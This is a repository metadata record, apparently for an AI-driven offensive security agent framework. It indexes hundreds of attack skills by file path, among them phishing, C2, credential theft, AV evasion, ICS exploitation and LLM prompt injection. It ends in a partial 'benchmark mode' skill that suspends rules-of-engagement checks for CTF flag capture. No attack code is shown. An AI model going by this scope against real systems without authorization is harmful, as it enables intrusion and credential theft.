{"owner":"PurpleAILAB","repo":"Decepticon","hasSkills":true,"totalSkillsCount":391,"totalTokensCount":125849,"categories":["anthropic-skill","root-instruction","project-spec","plugin-manifest","subagent-persona"],"hasMcp":true,"mcpConfig":{"mcpServers":{"Decepticon":{"command":"npx","args":["-y","@modelcontextprotocol/server-Decepticon"]}}},"found":["packages/decepticon/decepticon/skills/benchmark/SKILL.md","packages/decepticon/decepticon/skills/standard/supply-chain/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/SKILL.md","packages/decepticon/decepticon/skills/standard/wireless/SKILL.md","packages/decepticon/decepticon/skills/standard/ics/SKILL.md","packages/decepticon/decepticon/skills/standard/mobile/SKILL.md","packages/decepticon/decepticon/skills/standard/osint/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/SKILL.md","integrations/agent-skills/decepticon/SKILL.md","packages/decepticon/decepticon/skills/standard/dfir/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/SKILL.md","packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md","packages/decepticon/decepticon/skills/shared/references/SKILL.md","packages/decepticon/decepticon/skills/shared/opsec/SKILL.md","packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md","packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md","packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md","packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md","packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md","packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md","packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md","packages/decepticon/decepticon/skills/plugins/detector/SKILL.md","packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md","packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md","packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md","packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md","packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md","packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md","packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md","packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md","packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md","packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md","packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md","packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md","packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md","packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md","packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md","packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md","packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md","packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md","packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md","packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md","packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md","packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md","packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md","packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md","packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/web-recon/discovery/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/web-recon/cookie-audit/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/web-recon/cms-scanning/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/web-recon/auth-mapping/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/web-recon/api-enumeration/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/web-recon/subdomain-takeover/SKILL.md","packages/decepticon/decepticon/skills/standard/recon/web-recon/waf-detection/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md","packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.md","packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md","packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/saml/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/open-redirect/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/oauth/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/mass-assignment/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/idor/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/cve/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/crypto/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/business-logic/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/blind-sqli/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/bfla/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/ato-methodology/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/ssti/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/web-cache-poisoning/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md","packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md","packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md","packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/scattered-spider/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/sandworm/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lockbit/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/lazarus/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/fin7/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/apt29/SKILL.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/emulation/volt-typhoon/SKILL.md","docs/agents.md","docs/architecture.md","docs/skills.md","docs/tools/open-web.md","packages/decepticon-sdk/README.md","packages/decepticon-core/README.md","packages/decepticon/README.md","packages/decepticon-sdk/examples/README.md","packages/decepticon-sdk/examples/prompt/README.md","packages/decepticon-sdk/examples/middleware/README.md","packages/decepticon-sdk/examples/callback/README.md","packages/decepticon-sdk/examples/agent/README.md","packages/decepticon-sdk/examples/skill/README.md","packages/decepticon-sdk/examples/tool/README.md","packages/decepticon/decepticon/sandbox_web/NOTICE.md","packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml","packages/decepticon/decepticon/skill_audit/subdomains.yaml","packages/decepticon/decepticon/agents/prompts/language.md","packages/decepticon/decepticon/sandbox_web/templates/package.json","packages/decepticon/decepticon/tools/references/killchain.yaml","packages/decepticon/decepticon/agents/prompts/plugins/detector.md","packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md","packages/decepticon/decepticon/agents/prompts/plugins/patcher.md","packages/decepticon/decepticon/agents/prompts/plugins/scanner.md","packages/decepticon/decepticon/agents/prompts/plugins/verifier.md","packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md","packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md","packages/decepticon/decepticon/agents/prompts/standard/analyst.md","packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md","packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md","packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md","packages/decepticon/decepticon/agents/prompts/standard/decepticon.md","packages/decepticon/decepticon/agents/prompts/standard/exploit.md","packages/decepticon/decepticon/agents/prompts/standard/forensicator.md","packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md","packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md","packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md","packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md","packages/decepticon/decepticon/agents/prompts/standard/phisher.md","packages/decepticon/decepticon/agents/prompts/standard/postexploit.md","packages/decepticon/decepticon/agents/prompts/standard/recon.md","packages/decepticon/decepticon/agents/prompts/standard/reverser.md","packages/decepticon/decepticon/agents/prompts/standard/soundwave.md","packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md","packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md","packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md","packages/decepticon/decepticon/agents/prompts/workflows/exploit.md","packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md","packages/decepticon/decepticon/agents/prompts/workflows/phisher.md","packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md","packages/decepticon/decepticon/agents/prompts/workflows/recon.md","packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md","packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md","packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml","packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml","packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml","packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md","packages/decepticon/tests/unit/skill_audit/fixtures/clean.md","packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md","packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md","packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md","packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md","packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md","packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md","packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json","packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md","packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md","packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md","packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md","packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md","packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md","packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md","packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md","packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md","packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md"],"skills":{"packages/decepticon/decepticon/skills/benchmark/SKILL.md":"---\nname: benchmark\ndescription: \"Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.\"\nallowed-tools: Bash Read Write\nmetadata:\n subdomain: benchmark\n when_to_use: \"benchmark, ctf, challenge, flag capture\"\n tags: benchmark, ctf\n upstream_ref: \"XBOW validation-benchmarks + Decepticon CTF mode marker\"\n---\n\n# Benchmark Mode\n\nThe engagement objective is **flag capture**. Per-challenge context\n(target URL, vulnerability tags, flag format, mission brief, extra\nservice ports) is injected into the system message every model call by\n`EngagementContextMiddleware` — read it; do NOT duplicate it here, and\ndo NOT ask the operator for it.\n\n## Suspended CRITICAL_RULES under benchmark mode\n\n- Rule 8 (Startup Required) — flag IS the deliverable; no roe/conops/deconfliction.\n- Rule 9 (Final Report) — no executive summary; the flag string is the report.\n\nAll other CRITICAL_RULES remain active. Recon→exploit ordering, OPPLAN\ndiscipline, no-bash-in-orchestrator, tag routing, OPSEC, and budget\npacing live in their owning prompts/skills (see `decepticon.md` Rules\n20/22, the recon/exploit agent prompts, and 